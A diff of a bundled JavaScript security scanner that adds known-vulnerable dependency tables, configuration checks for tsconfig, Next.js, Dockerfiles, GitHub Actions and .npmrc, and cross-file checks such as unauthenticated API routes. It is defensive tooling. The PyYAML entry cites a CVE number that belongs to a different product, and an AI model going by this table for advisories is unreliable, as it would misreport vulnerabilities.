+ minSafe: "7.5.2",
4804
+ cve: "CVE-2022-25883",
4805
+ severity: "medium",
4806
+ title: "Semver ReDoS",
4807
+ description: "semver before 7.5.2 is vulnerable to Regular Expression Denial of Service.",
4808
+ fix: "Upgrade semver to >= 7.5.2: npm install semver@latest"
4809
+ }],
4810
+ "xml2js": [{
4811
+ minSafe: "0.5.0",
4812
+ cve: "CVE-2023-0842",
4813
+ severity: "medium",
4814
+ title: "xml2js Prototype Pollution",
4815
+ description: "xml2js before 0.5.0 is vulnerable to prototype pollution when parsing XML.",
4816
+ fix: "Upgrade xml2js to >= 0.5.0: npm install xml2js@latest"
4817
+ }]
4818
+ };
4819
+ var KNOWN_VULN_PYTHON = {
4820
+ "django": [{
4821
+ minSafe: "4.2.11",
4822
+ cve: "CVE-2024-27351",
4823
+ severity: "high",
4824
+ title: "Django ReDoS in Truncator",
4825
+ description: "Django before 4.2.11 is vulnerable to Regular Expression Denial of Service.",
4826
+ fix: "Upgrade Django to >= 4.2.11: pip install Django --upgrade"
4827
+ }],
4828
+ "flask": [{
4829
+ minSafe: "2.3.2",
4830
+ cve: "CVE-2023-30861",
4831
+ severity: "high",
4832
+ title: "Flask Session Cookie Vulnerability",
4833
+ description: "Flask before 2.3.2 may set permanent session cookies on redirect responses.",
4834
+ fix: "Upgrade Flask to >= 2.3.2: pip install Flask --upgrade"
4835
+ }],
4836
+ "pillow": [{
4837
+ minSafe: "10.2.0",
4838
+ cve: "CVE-2023-50447",
4839
+ severity: "critical",
4840
+ title: "Pillow Arbitrary Code Execution",
4841
+ description: "Pillow before 10.2.0 is vulnerable to arbitrary code execution via crafted images.",
4842
+ fix: "Upgrade Pillow to >= 10.2.0: pip install Pillow --upgrade"
4843
+ }],
4844
+ "requests": [{
4845
+ minSafe: "2.31.0",
4846
+ cve: "CVE-2023-32681",
4847
+ severity: "medium",
4848
+ title: "Requests Proxy Header Leak",
4849
+ description: "requests before 2.31.0 leaks Proxy-Authorization headers to destination servers.",
4850
+ fix: "Upgrade requests to >= 2.31.0: pip install requests --upgrade"
4851
+ }],
4852
+ "pyyaml": [{
4853
+ minSafe: "6.0.1",
4854
+ cve: "CVE-2022-41316",
4855
+ severity: "high",
4856
+ title: "PyYAML Unsafe Loading",
4857
+ description: "PyYAML has known deserialization vulnerabilities. Always use yaml.safe_load().",
4858
+ fix: "Upgrade PyYAML to >= 6.0.1 and use yaml.safe_load() instead of yaml.load()."
4859
+ }],
4860
+ "jinja2": [{
4861
+ minSafe: "3.1.3",
4862
+ cve: "CVE-2024-22195",
4863
+ severity: "medium",
4864
+ title: "Jinja2 XSS Vulnerability",
4865
+ description: "Jinja2 before 3.1.3 is vulnerable to XSS via xmlattr filter.",
4866
+ fix: "Upgrade Jinja2 to >= 3.1.3: pip install Jinja2 --upgrade"
4867
+ }]
4868
+ };
4869
+ var DEP_PATTERNS = [
4870
+ {
4871
+ id: "DEP001",
4872
+ title: "Wildcard Dependency Version",
4873
+ severity: "high",
4874
+ description: "Using '*' or 'latest' as a dependency version allows any version to be installed, including malicious ones.",
4875
+ fix: "Pin dependency versions: use exact (1.2.3) or caret (^1.2.3) versions, never '*' or 'latest'.",
4876
+ test: (content, filePath) => filePath.endsWith("package.json") && /["']\*["']|["']latest["']/.test(content)
4877
+ },
4878
+ {
4879
+ id: "DEP002",
4880
+ title: "Git Dependency Without Commit Hash",
4881
+ severity: "medium",
4882
+ description: "Git dependencies without a pinned commit hash can be replaced with malicious code.",
4883
+ fix: "Pin git dependencies to a specific commit: git+https://github.com/user/repo#commit-hash",
4884
+ test: (content, filePath) => filePath.endsWith("package.json") && /git\+https?:\/\/[^#"]+["']/.test(content)
4885
+ },
4886
+ {
4887
+ id: "DEP003",
4888
+ title: "Postinstall Script in Package",
4889
+ severity: "medium",
4890
+ description: "postinstall scripts run automatically after npm install and can execute arbitrary code.",
4891
+ fix: "Audit postinstall scripts carefully. Use --ignore-scripts flag for untrusted packages.",
4892
+ test: (content, filePath) => filePath.endsWith("package.json") && /"postinstall"\s*:/.test(content)
4893
+ },
4894
+ {
4895
+ id: "DEP004",
4896
+ title: "No Package Lock File",
4897
+ severity: "medium",
4898
+ description: "Without a lockfile, npm install may resolve different versions on different machines.",
4899
+ fix: "Commit your lockfile (package-lock.json, pnpm-lock.yaml, or yarn.lock).",
4900
+ test: (content, filePath) => filePath.endsWith(".gitignore") && /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/.test(content)
4901
+ },
4902
+ {
4903
+ id: "DEP005",
4904
+ title: "HTTP Registry URL",
4905
+ severity: "high",
4906
+ description: "Using HTTP (not HTTPS) for npm registry allows man-in-the-middle attacks on package downloads.",
4907
+ fix: "Use HTTPS for registry: registry=https://registry.npmjs.org/",
4908
+ test: (content, filePath) => filePath.endsWith(".npmrc") && /registry\s*=\s*http:\/\//.test(content)
4909
+ }
4910
+ ];
4911
+ function compareVersions(v1, v2) {
4912
+ const parts1 = v1.replace(/^[^0-9]*/, "").split(".").map(Number);
4913
+ const parts2 = v2.replace(/^[^0-9]*/, "").split(".").map(Number);
4914
+ for (let i = 0; i < Math.max(parts1.length, parts2.length); i++) {
4915
+ const a = parts1[i] || 0;
4916
+ const b = parts2[i] || 0;
4917
+ if (a < b) return -1;
4918
+ if (a > b) return 1;
4919
+ }
4920
+ return 0;
4921
+ }
4922
+ function getSnippet3(content, line) {
4923
+ const lines = content.split("\n");
4924
+ const start = Math.max(0, line - 2);
4925
+ const end = Math.min(lines.length, line + 2);
4926
+ return lines.slice(start, end).map((l, i) => {
4927
+ const lineNum = start + i + 1;
4928
+ const prefix = lineNum === line ? ">" : " ";
4929
+ return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
4930
+ }).join("\n");
4931
+ }
4932
+ function scanDependencies(files) {
4933
+ const findings = [];
4934
+ for (const { path: filePath, content } of files) {
4935
+ if (filePath.endsWith("package.json") && !filePath.includes("node_modules")) {
4936
+ try {
4937
+ const pkg = JSON.parse(content);
4938
+ const allDeps = { ...pkg.dependencies, ...pkg.devDependencies };
4939
+ for (const [name, version] of Object.entries(allDeps)) {
4940
+ const vulns = KNOWN_VULN_NPM[name];
4941
+ if (!vulns) continue;
4942
+ const versionStr = String(version).replace(/^[\^~>=<]*/g, "");
4943
+ for (const vuln of vulns) {
4944
+ if (compareVersions(versionStr, vuln.minSafe) < 0) {
4945
+ const line = content.split("\n").findIndex((l) => l.includes(`"${name}"`)) + 1;
4946
+ findings.push({
4947
+ id: `${vuln.cve}-${filePath}:${line}`,
4948
+ rule: vuln.cve,
4949
+ severity: vuln.severity,
4950
+ title: vuln.title,
4951
+ description: vuln.description,
4952
+ file: filePath,
4953
+ line,
4954
+ snippet: getSnippet3(content, line),
4955
+ fix: vuln.fix,
4956
+ category: "Dependencies",
4957
+ source: "custom",
4958
+ owasp: "A06:2021",
4959
+ cwe: "CWE-1395"
4960
+ });
4961
+ }
4962
+ }
4963
+ }
4964
+ } catch {
4965
+ }
4966
+ }
4967
+ if (filePath.match(/requirements.*\.txt$/i)) {
4968
+ const lines = content.split("\n");
4969
+ for (let i = 0; i < lines.length; i++) {
4970
+ const line = lines[i].trim();
4971
+ const match = line.match(/^([a-zA-Z0-9_-]+)(?:[=<>!~]+(.+))?/);
4972
+ if (!match) continue;
4973
+ const name = match[1].toLowerCase();
4974
+ const version = match[2] || "0.0.0";
4975
+ const vulns = KNOWN_VULN_PYTHON[name];
4976
+ if (!vulns) continue;
4977
+ for (const vuln of vulns) {
4978
+ if (compareVersions(version, vuln.minSafe) < 0) {
4979
+ findings.push({
4980
+ id: `${vuln.cve}-${filePath}:${i + 1}`,
4981
+ rule: vuln.cve,
4982
+ severity: vuln.severity,
4983
+ title: vuln.title,
4984
+ description: vuln.description,
4985
+ file: filePath,
4986
+ line: i + 1,
4987
+ snippet: getSnippet3(content, i + 1),
4988
+ fix: vuln.fix,
4989
+ category: "Dependencies",
4990
+ source: "custom",
4991
+ owasp: "A06:2021",
4992
+ cwe: "CWE-1395"
4993
+ });
4994
+ }
4995
+ }
4996
+ }
4997
+ }
4998
+ for (const pattern of DEP_PATTERNS) {
4999
+ if (pattern.test(content, filePath)) {
5000
+ findings.push({
5001
+ id: `${pattern.id}-${filePath}:1`,
5002
+ rule: pattern.id,
5003
+ severity: pattern.severity,
5004
+ title: pattern.title,
5005
+ description: pattern.description,
5006
+ file: filePath,
5007
+ line: 1,
5008
+ snippet: getSnippet3(content, 1),
5009
+ fix: pattern.fix,
5010
+ category: "Dependencies",
5011
+ source: "custom",
5012
+ owasp: "A06:2021",
5013
+ cwe: "CWE-1395"
5014
+ });
5015
+ }
5016
+ }
5017
+ }
5018
+ return findings;
5019
+ }
5020
+
5021
+ // src/engines/config-analyzer.ts
5022
+ function getSnippet4(content, line) {
5023
+ const lines = content.split("\n");
5024
+ const start = Math.max(0, line - 2);
5025
+ const end = Math.min(lines.length, line + 2);
5026
+ return lines.slice(start, end).map((l, i) => {
5027
+ const lineNum = start + i + 1;
5028
+ const prefix = lineNum === line ? ">" : " ";
5029
+ return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
5030
+ }).join("\n");
5031
+ }
5032
+ var CONFIG_CHECKS = [
5033
+ // ── TypeScript Config ──
5034
+ {
5035
+ id: "CFG001",
5036
+ title: "TypeScript Strict Mode Disabled",
5037
+ severity: "medium",
5038
+ category: "Configuration",
5039
+ description: "TypeScript without strict mode misses type errors that can cause runtime bugs and security issues.",
5040
+ fix: 'Enable strict mode in tsconfig.json: "strict": true',
5041
+ owasp: "A05:2021",
5042
+ cwe: "CWE-710",
5043
+ filePattern: /tsconfig\.json$/,
5044
+ check(content) {
5045
+ try {
5046
+ if (/"strict"\s*:\s*false/.test(content)) {
5047
+ const line = content.split("\n").findIndex((l) => /strict/.test(l)) + 1;
5048
+ return { line, snippet: getSnippet4(content, line) };
5049
+ }
5050
+ if (!/"strict"\s*:\s*true/.test(content) && /"compilerOptions"/.test(content)) {
5051
+ return { line: 1, snippet: getSnippet4(content, 1) };
5052
+ }
5053
+ } catch {
5054
+ }
5055
+ return null;
5056
+ }
5057
+ },
5058
+ {
5059
+ id: "CFG002",
5060
+ title: "TypeScript allowJs Without checkJs",
5061
+ severity: "low",
5062
+ category: "Configuration",
5063
+ description: "allowJs without checkJs means JavaScript files bypass type checking entirely.",
5064
+ fix: 'Add "checkJs": true alongside "allowJs": true in tsconfig.json.',
5065
+ owasp: "A05:2021",
5066
+ cwe: "CWE-710",
5067
+ filePattern: /tsconfig\.json$/,
5068
+ check(content) {
5069
+ if (/"allowJs"\s*:\s*true/.test(content) && !/"checkJs"\s*:\s*true/.test(content)) {
5070
+ const line = content.split("\n").findIndex((l) => /allowJs/.test(l)) + 1;
5071
+ return { line, snippet: getSnippet4(content, line) };
5072
+ }
5073
+ return null;
5074
+ }
5075
+ },
5076
+ // ── Next.js Config ──
5077
+ {
5078
+ id: "CFG003",
5079
+ title: "Next.js Missing Security Headers",
5080
+ severity: "medium",
5081
+ category: "Configuration",
5082
+ description: "Next.js app without security headers in next.config is missing important protections.",
5083
+ fix: "Add a headers() function to next.config.js with X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Content-Security-Policy.",
5084
+ owasp: "A05:2021",
5085
+ cwe: "CWE-693",
5086
+ filePattern: /next\.config\.(js|mjs|ts)$/,
5087
+ check(content) {
5088
+ if (!/headers\s*\(/.test(content) && !/securityHeaders|security-headers/.test(content)) {
5089
+ return { line: 1, snippet: getSnippet4(content, 1) };
5090
+ }
5091
+ return null;
5092
+ }
5093
+ },
5094
+ {
5095
+ id: "CFG004",
5096
+ title: "Next.js Powered-By Header Not Disabled",
5097
+ severity: "low",
5098
+ category: "Configuration",
5099
+ description: "Next.js exposes X-Powered-By header by default, revealing your tech stack.",
5100
+ fix: "Add poweredByHeader: false to next.config.js.",
5101
+ owasp: "A05:2021",
5102
+ cwe: "CWE-200",
5103
+ filePattern: /next\.config\.(js|mjs|ts)$/,
5104
+ check(content) {
5105
+ if (!/poweredByHeader\s*:\s*false/.test(content)) {
5106
+ return { line: 1, snippet: getSnippet4(content, 1) };
5107
+ }
5108
+ return null;
5109
+ }
5110
+ },
5111
+ // ── Dockerfile ──
5112
+ {
5113
+ id: "CFG005",
5114
+ title: "Dockerfile Using Latest Tag",
5115
+ severity: "medium",
5116
+ category: "Configuration",
5117
+ description: "Using :latest tag in FROM makes builds non-reproducible and may pull vulnerable images.",
5118
+ fix: "Pin to a specific version: FROM node:20-alpine instead of FROM node:latest.",
5119
+ owasp: "A06:2021",
5120
+ cwe: "CWE-1395",
5121
+ filePattern: /Dockerfile$/i,
5122
+ check(content) {
5123
+ const lines = content.split("\n");
5124
+ for (let i = 0; i < lines.length; i++) {
5125
+ if (/^FROM\s+\S+:latest/i.test(lines[i].trim()) || /^FROM\s+\w+\s*$/i.test(lines[i].trim())) {
5126
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5127
+ }
5128
+ }
5129
+ return null;
5130
+ }
5131
+ },
5132
+ {
5133
+ id: "CFG006",
5134
+ title: "Dockerfile Not Using Multi-Stage Build",
5135
+ severity: "low",
5136
+ category: "Configuration",
5137
+ description: "Single-stage Docker builds include build tools in the final image, increasing attack surface.",
5138
+ fix: "Use multi-stage builds: first stage for building, second stage (FROM alpine) for running.",
5139
+ owasp: "A05:2021",
5140
+ cwe: "CWE-1059",
5141
+ filePattern: /Dockerfile$/i,
5142
+ check(content) {
5143
+ const fromCount = (content.match(/^FROM\s/gmi) || []).length;
5144
+ if (fromCount <= 1 && content.includes("npm") && content.length > 200) {
5145
+ return { line: 1, snippet: getSnippet4(content, 1) };
5146
+ }
5147
+ return null;
5148
+ }
5149
+ },
5150
+ {
5151
+ id: "CFG007",
5152
+ title: "Dockerfile Copies .env File",
5153
+ severity: "critical",
5154
+ category: "Configuration",
5155
+ description: "COPY that includes .env files bakes secrets into the Docker image layer.",
5156
+ fix: "Add .env to .dockerignore. Use build args or runtime env vars instead.",
5157
+ owasp: "A02:2021",
5158
+ cwe: "CWE-312",
5159
+ filePattern: /Dockerfile$/i,
5160
+ check(content) {
5161
+ const lines = content.split("\n");
5162
+ for (let i = 0; i < lines.length; i++) {
5163
+ if (/^COPY\s.*\.env\b/i.test(lines[i].trim())) {
5164
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5165
+ }
5166
+ }
5167
+ return null;
5168
+ }
5169
+ },
5170
+ // ── GitHub Actions ──
5171
+ {
5172
+ id: "CFG008",
5173
+ title: "GitHub Actions with Broad Permissions",
5174
+ severity: "high",
5175
+ category: "Configuration",
5176
+ description: "GitHub Actions with write-all or broad permissions can be exploited if a dependency is compromised.",
5177
+ fix: "Use minimal permissions: permissions: { contents: read }. Only grant what's needed.",
5178
+ owasp: "A01:2021",
5179
+ cwe: "CWE-250",
5180
+ filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
5181
+ check(content) {
5182
+ const lines = content.split("\n");
5183
+ for (let i = 0; i < lines.length; i++) {
5184
+ if (/permissions\s*:\s*write-all/i.test(lines[i])) {
5185
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5186
+ }
5187
+ }
5188
+ return null;
5189
+ }
5190
+ },
5191
+ {
5192
+ id: "CFG009",
5193
+ title: "GitHub Actions Using Unpinned Action",
5194
+ severity: "medium",
5195
+ category: "Configuration",
5196
+ description: "Using actions with @main or @master instead of a pinned SHA allows supply chain attacks.",
5197
+ fix: "Pin actions to a specific SHA: uses: actions/checkout@abc123... instead of @main.",
5198
+ owasp: "A06:2021",
5199
+ cwe: "CWE-1395",
5200
+ filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
5201
+ check(content) {
5202
+ const lines = content.split("\n");
5203
+ for (let i = 0; i < lines.length; i++) {
5204
+ if (/uses:\s*\S+@(?:main|master|dev|latest)\s*$/i.test(lines[i])) {
5205
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5206
+ }
5207
+ }
5208
+ return null;
5209
+ }
5210
+ },
5211
+ // ── Vite Config ──
5212
+ {
5213
+ id: "CFG010",
5214
+ title: "Vite Server Open to Network",
5215
+ severity: "medium",
5216
+ category: "Configuration",
5217
+ description: "Vite dev server with host: true exposes it to the entire network.",
5218
+ fix: "Remove host: true or use host: '127.0.0.1' for local-only access during development.",
5219
+ owasp: "A05:2021",
5220
+ cwe: "CWE-668",
5221
+ filePattern: /vite\.config\.(js|ts|mjs)$/,
5222
+ check(content) {
5223
+ const lines = content.split("\n");
5224
+ for (let i = 0; i < lines.length; i++) {
5225
+ if (/host\s*:\s*true/.test(lines[i]) || /host\s*:\s*['"]0\.0\.0\.0['"]/.test(lines[i])) {
5226
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5227
+ }
5228
+ }
5229
+ return null;
5230
+ }
5231
+ },
5232
+ // ── .npmrc ──
5233
+ {
5234
+ id: "CFG011",
5235
+ title: "NPM Auth Token in .npmrc",
5236
+ severity: "critical",
5237
+ category: "Secrets",
5238
+ description: "NPM auth tokens in committed .npmrc files expose registry credentials.",
5239
+ fix: "Remove the token and add .npmrc to .gitignore. Use NPM_TOKEN env var instead.",
5240
+ owasp: "A02:2021",
5241
+ cwe: "CWE-798",
5242
+ filePattern: /\.npmrc$/,
5243
+ check(content) {
5244
+ const lines = content.split("\n");
5245
+ for (let i = 0; i < lines.length; i++) {
5246
+ const line = lines[i];
5247
+ const registry = line.indexOf("//registry");
5248
+ if (line.includes("_authToken") || line.includes("_auth=") || registry >= 0 && line.includes(":_password", registry + 10)) {
5249
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5250
+ }
5251
+ }
5252
+ return null;
5253
+ }
5254
+ },
5255
+ // ── ESLint Config ──
5256
+ {
5257
+ id: "CFG012",
5258
+ title: "Security ESLint Rules Disabled",
5259
+ severity: "medium",
5260
+ category: "Configuration",
5261
+ description: "Disabling security-related ESLint rules removes an important safety net.",
5262
+ fix: "Re-enable security rules or use eslint-plugin-security for automated checks.",
5263
+ owasp: "A05:2021",
5264
+ cwe: "CWE-710",
5265
+ filePattern: /\.eslint(rc)?(\.(js|json|yml|yaml|cjs|mjs))?$/,
5266
+ check(content) {
5267
+ const lines = content.split("\n");
5268
+ for (let i = 0; i < lines.length; i++) {
5269
+ if (/no-eval|no-implied-eval|no-new-func|no-script-url|security\/detect/i.test(lines[i]) && /["']off["']|:\s*0/.test(lines[i])) {
5270
+ return { line: i + 1, snippet: getSnippet4(content, i + 1) };
5271
+ }
5272
+ }
5273
+ return null;
5274
+ }
5275
+ }
5276
+ ];
5277
+ function scanConfigs(files) {
5278
+ const findings = [];
5279
+ for (const { path: filePath, content } of files) {
5280
+ for (const check of CONFIG_CHECKS) {
5281
+ if (!check.filePattern.test(filePath)) continue;
5282
+ const result = check.check(content, filePath);
5283
+ if (result) {
5284
+ findings.push({
5285
+ id: `${check.id}-${filePath}:${result.line}`,
5286
+ rule: check.id,
5287
+ severity: check.severity,
5288
+ title: check.title,
5289
+ description: check.description,
5290
+ file: filePath,
5291
+ line: result.line,
5292
+ snippet: result.snippet,
5293
+ fix: check.fix,
5294
+ category: check.category,
5295
+ source: "custom",
5296
+ owasp: check.owasp,
5297
+ cwe: check.cwe
5298
+ });
5299
+ }
5300
+ }
5301
+ }
5302
+ return findings;
5303
+ }
5304
+
5305
+ // src/engines/multi-file-analyzer.ts
5306
+ function getSnippet5(content, line) {
5307
+ const lines = content.split("\n");
5308
+ const start = Math.max(0, line - 2);
5309
+ const end = Math.min(lines.length, line + 2);
5310
+ return lines.slice(start, end).map((l, i) => {
5311
+ const lineNum = start + i + 1;
5312
+ const prefix = lineNum === line ? ">" : " ";
5313
+ return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
5314
+ }).join("\n");
5315
+ }
5316
+ function scanMultiFile(files) {
5317
+ const findings = [];
5318
+ const fileMap = /* @__PURE__ */ new Map();
5319
+ for (const f of files) {
5320
+ fileMap.set(f.path, f.content);
5321
+ }
5322
+ const hasGlobalMiddleware = files.some(
5323
+ (f) => /middleware\.(ts|js)$/.test(f.path) && /(?:auth|session|clerk|nextauth|getToken)/i.test(f.content)
5324
+ );
5325
+ const hasAuthModule = files.some(
5326
+ (f) => /(?:auth|middleware)\.(ts|js)$/i.test(f.path) && /(?:requireAuth|isAuthenticated|authenticate|verify)/i.test(f.content)
5327
+ );
5328
+ for (const f of files) {
5329
+ if (!/(?:\/api\/|routes?\/|controllers?\/)/i.test(f.path)) continue;
5330
+ if (/middleware/i.test(f.path)) continue;
5331
+ if (/(?:health|status|ping|ready|live)\.(?:ts|js)/i.test(f.path)) continue;
5332
+ const hasLocalAuth = /(?:requireAuth|isAuthenticated|authenticate|verify|getAuth|getSession|getServerSession|withAuth|jwt\.verify|clerk)/i.test(f.content);
5333
+ const hasAuthImport = f.content.split("\n").some((line) => {
5334
+ const at = line.search(/import/i);
5335
+ return at >= 0 && /(?:auth|session|middleware|verify|clerk)/i.test(line.slice(at + 6));
5336
+ });
5337
+ if (!hasLocalAuth && !hasAuthImport && !hasGlobalMiddleware) {
5338
+ if (/\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(f.content)) {
5339
+ const line = f.content.split("\n").findIndex(
5340
+ (l) => /\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(l)
5341
+ ) + 1;
5342
+ findings.push({
5343
+ id: `MFA001-${f.path}:${line}`,
5344
+ rule: "MFA001",
5345
+ severity: "high",
5346
+ title: "API Route Without Auth (Cross-File Check)",
5347
+ description: "This API route file has no authentication checks and no auth middleware was detected in the project.",
5348
+ file: f.path,
5349
+ line,
5350
+ snippet: getSnippet5(f.content, line),
5351
+ fix: "Add authentication middleware or import your auth module. If using Next.js, create middleware.ts in your app root.",
5352
+ category: "Authentication",
5353
+ source: "custom",
5354
+ owasp: "A01:2021",
5355
+ cwe: "CWE-862"
5356
+ });
5357
+ }
5358
+ }
5359
+ }
5360
+ const hasEnvFile = files.some((f) => /^\.env$|\/\.env$/.test(f.path));
5361
+ const gitignore = files.find((f) => f.path.endsWith(".gitignore"));
5362
+ if (hasEnvFile && gitignore) {
5363
+ if (!/^\.env$/m.test(gitignore.content) && !/^\*\.env$/m.test(gitignore.content)) {
5364
+ findings.push({
5365
+ id: "MFA002-.gitignore:1",
5366
+ rule: "MFA002",
5367
+ severity: "critical",
5368
+ title: ".env File Not in .gitignore",
5369
+ description: "An .env file exists in the project but .gitignore doesn't exclude it. Secrets may be committed.",
5370
+ file: ".gitignore",
5371
+ line: 1,
5372
+ snippet: getSnippet5(gitignore.content, 1),
5373
+ fix: "Add .env to .gitignore: echo '.env' >> .gitignore",
5374
+ category: "Secrets",
5375
+ source: "custom",
5376
+ owasp: "A02:2021",
5377
+ cwe: "CWE-312"
5378
+ });
5379
+ }
5380
+ }
5381
+ const dbFiles = files.filter(
5382
+ (f) => /(?:db|database|prisma|drizzle|sequelize|mongoose|knex)\.(ts|js)$/i.test(f.path) || /(?:createClient|createPool|createConnection|PrismaClient)/i.test(f.content)
5383
+ );
5384
+ for (const f of dbFiles) {
5385
+ if (/new PrismaClient/i.test(f.content)) {
5386
+ if (!/globalThis|global\./i.test(f.content)) {
5387
+ const line = f.content.split("\n").findIndex((l) => /new PrismaClient/.test(l)) + 1;
5388
+ findings.push({
5389
+ id: `MFA003-${f.path}:${line}`,
5390
+ rule: "MFA003",
5391
+ severity: "medium",
5392
+ title: "Database Client Not Cached (Connection Leak)",
5393
+ description: "Creating a new PrismaClient on every request leaks database connections. Use a singleton pattern.",
5394
+ file: f.path,
5395
+ line,
5396
+ snippet: getSnippet5(f.content, line),
5397
+ fix: "Use singleton: globalThis.prisma = globalThis.prisma || new PrismaClient(). This prevents connection exhaustion in serverless.",
5398
+ category: "Configuration",
5399
+ source: "custom",
5400
+ owasp: "A05:2021",
5401
+ cwe: "CWE-400"
5402
+ });
5403
+ }
5404
+ }
5405
+ }
5406
+ for (const f of files) {
5407
+ if (!/(?:server|app|index|main)\.(ts|js)$/i.test(f.path)) continue;
5408
+ const corsMatch = f.content.match(/origin\s*:\s*["'`](https?:\/\/[^"'`]+)["'`]/);
5409
+ if (corsMatch) {
5410
+ const corsOrigin = corsMatch[1];
5411
+ if (corsOrigin.includes("localhost") || corsOrigin.includes("127.0.0.1")) {
5412
+ const line = f.content.split("\n").findIndex((l) => l.includes(corsOrigin)) + 1;
5413
+ findings.push({
5414
+ id: `MFA004-${f.path}:${line}`,
5415
+ rule: "MFA004",
5416
+ severity: "medium",
5417
+ title: "CORS Origin Set to Localhost",
5418
+ description: "CORS origin is hardcoded to localhost. This will block requests from your production frontend.",
5419
+ file: f.path,
5420
+ line,
5421
+ snippet: getSnippet5(f.content, line),
5422
+ fix: "Use environment variable: origin: process.env.FRONTEND_URL || 'http://localhost:3000'",
5423
+ category: "Configuration",
5424
+ source: "custom",
5425
+ owasp: "A05:2021",
5426
+ cwe: "CWE-942"
5427
+ });
5428
+ }
5429
+ }
5430
+ }
5431
+ const envExample = files.find((f) => /\.env\.example$|\.env\.sample$|\.env\.template$/.test(f.path));
5432
+ if (envExample) {
5433
+ const envVarsUsed = /* @__PURE__ */ new Set();
5434
+ for (const f of files) {
5435
+ if (/\.(ts|js|tsx|jsx)$/i.test(f.path)) {
5436
+ const matches = f.content.matchAll(/process\.env\.([A-Z_][A-Z0-9_]*)/g);
5437
+ for (const m of matches) {
5438
+ envVarsUsed.add(m[1]);
5439
+ }
5440
+ }
5441
+ }
5442
+ const envVarsDocumented = /* @__PURE__ */ new Set();
5443
+ const exampleMatches = envExample.content.matchAll(/^([A-Z_][A-Z0-9_]*)=/gm);
5444
+ for (const m of exampleMatches) {
5445
+ envVarsDocumented.add(m[1]);
5446
+ }
5447
+ const undocumented = [...envVarsUsed].filter((v) => !envVarsDocumented.has(v) && !v.startsWith("NODE_") && v !== "npm_");
5448
+ if (undocumented.length > 0) {
5449
+ findings.push({
5450
+ id: `MFA005-${envExample.path}:1`,
5451
+ rule: "MFA005",
5452
+ severity: "low",
5453
+ title: "Env Vars Used But Not in .env.example",
5454
+ description: `These environment variables are used in code but missing from .env.example: ${undocumented.slice(0, 5).join(", ")}${undocumented.length > 5 ? ` (+${undocumented.length - 5} more)` : ""}`,
5455
+ file: envExample.path,
5456
+ line: 1,
5457
+ snippet: getSnippet5(envExample.content, 1),
5458
+ fix: "Add missing variables to .env.example so team members know which env vars are needed.",
5459
+ category: "Configuration",
5460
+ source: "custom",
5461
+ owasp: "A05:2021",
5462
+ cwe: "CWE-1188"
5463
+ });
5464
+ }
5465
+ }
5466
+ for (const f of files) {
5467
+ if (!/\.(tsx|jsx|ts|js)$/i.test(f.path)) continue;
5468
+ if (/(?:test|spec|mock|fixture)/i.test(f.path)) continue;
5469
+ const httpFetches = f.content.matchAll(/fetch\s*\(\s*["'`](http:\/\/(?!localhost|127\.0\.0\.1)[^"'`]+)["'`]/g);
5470
+ for (const m of httpFetches) {
5471
+ const line = f.content.substring(0, m.index).split("\n").length;
5472
+ findings.push({
5473
+ id: `MFA006-${f.path}:${line}`,
5474
+ rule: "MFA006",
5475
+ severity: "high",
5476
+ title: "Frontend Fetching Over HTTP (Not HTTPS)",
5477
+ description: `Fetching from ${m[1].substring(0, 40)}... over HTTP exposes data to interception.`,
5478
+ file: f.path,
5479
+ line,
5480
+ snippet: getSnippet5(f.content, line),
5481
+ fix: "Use HTTPS for all API calls in production.",
5482
+ category: "Configuration",
5483
+ source: "custom",
5484
+ owasp: "A02:2021",
5485
+ cwe: "CWE-319"
5486
+ });
5487
+ }
5488
+ }
5489
+ return findings;
5490
+ }
5491
+
4505
5492
  // src/url-recon.ts
4506
5493
  var BLOCKED_HOSTNAMES = /* @__PURE__ */ new Set([
4507
5494
  "localhost",
@@ -8238,6 +9225,7 @@ export {
8238
9225
  filterFalsePositives,
8239
9226
  filterSilenced,
8240
9227
  findMatches,
9228
+ findMatchesAt,
8241
9229
  findSourceMapRefs,
8242
9230
  freeRules,
8243
9231
  getObjectProperty,
@@ -8280,7 +9268,10 @@ export {
8280
9268
  replaceBlockComments,
8281
9269
  routeForFile,
8282
9270
  runCustomRules,
9271
+ scanConfigs,
9272
+ scanDependencies,
8283
9273
  scanEntropy,
9274
+ scanMultiFile,
8284
9275
  scanQuality,
8285
9276
  sqlInjection,
8286
9277
  stripeWebhookUnprotected,